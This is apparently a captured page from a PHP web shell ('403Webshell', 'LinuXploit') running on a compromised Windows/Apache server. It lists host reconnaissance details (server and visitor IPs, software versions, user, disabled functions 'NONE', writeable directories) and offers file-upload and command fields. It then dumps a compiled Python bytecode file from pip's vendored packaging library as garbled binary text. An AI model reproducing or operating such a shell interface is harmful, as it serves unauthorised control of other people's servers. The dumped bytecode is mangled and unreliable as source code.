403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.6/site-packages/pip/_vendor/packaging/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.6/site-packages/pip/_vendor/packaging/__pycache__/utils.cpython-36.pyc
3

�N�ah�@s�ddlZddlmZmZmZmZmZddlmZm	Z	ddl
mZmZeefee
effZede�ZGdd�de�ZGd	d
�d
e�Zejd�Zejd�Zeed
�dd�Zeeefed�dd�Zeeeeeeefd�dd�Zeeeefd�dd�ZdS)�N)�	FrozenSet�NewType�Tuple�Union�cast�)�Tag�	parse_tag)�InvalidVersion�Version�NormalizedNamec@seZdZdZdS)�InvalidWheelFilenamezM
    An invalid wheel filename was found, users should refer to PEP 427.
    N)�__name__�
__module__�__qualname__�__doc__�rr�/usr/lib/python3.6/utils.pyr
sr
c@seZdZdZdS)�InvalidSdistFilenamez^
    An invalid sdist filename was found, users should refer to the packaging user guide.
    N)rrrrrrrrrsrz[-_.]+z	(\d+)(.*))�name�returncCstjd|�j�}tt|�S)N�-)�_canonicalize_regex�sub�lowerrr)r�valuerrr�canonicalize_name sr)�versionrcCs�t|t�r.yt|�}Wq2tk
r*|SXn|}g}|jdkrR|j|j�d��|jtjdddjdd�|j	D����|j
dk	r�|jdjd	d�|j
D���|jdk	r�|jd
|j���|jdk	r�|jd|j���|j
dk	r�|jd|j
���dj|�S)
z�
    This is very similar to Version.__str__, but has one subtle difference
    with the way it handles the release segment.
    r�!z(\.0)+$��.css|]}t|�VqdS)N)�str)�.0�xrrr�	<genexpr><sz'canonicalize_version.<locals>.<genexpr>Ncss|]}t|�VqdS)N)r!)r"r#rrrr$@sz.postz.dev�+)�
isinstancer!rr
Zepoch�append�rer�join�releaseZpreZpostZdevZlocal)rZparsed�partsrrr�canonicalize_version&s&

&



r,)�filenamerc
Cs|jd�std|����|dd�}|jd�}|dkrDtd|����|jd|d�}|d}d	|ksxtjd
|tj�dkr�td|����t|�}t|d�}|dkr�|d}t	j|�}|dkr�td
|�d|�d���t
tt|j
d��|j
d�f�}nf}t|d�}	||||	fS)Nz.whlz3Invalid wheel filename (extension must be '.whl'): �r�z0Invalid wheel filename (wrong number of parts): �r�__z^[\w\d._]*$zInvalid project name: rzInvalid build number: z in '�'���)r.r/���)�endswithr
�count�splitr(�match�UNICODErr�_build_tag_regexr�BuildTag�int�groupr	)
r-Zdashesr+�	name_partrrZ
build_partZbuild_matchZbuild�tagsrrr�parse_wheel_filenameQs0


 r@cCs�|jd�r|dtd��}n,|jd�r<|dtd��}ntd|����|jd�\}}}|sltd|����t|�}t|�}||fS)Nz.tar.gzz.zipz@Invalid sdist filename (extension must be '.tar.gz' or '.zip'): rzInvalid sdist filename: )r5�lenr�
rpartitionrr)r-Z	file_stemr>�sepZversion_partrrrrr�parse_sdist_filenameus

rD)r(Ztypingrrrrrr?rr	rr
rr<r!r;r�
ValueErrorr
r�compilerr:rr,r@rDrrrr�<module>s


,"

Youez - 2016 - github.com/yon3zu
LinuXploit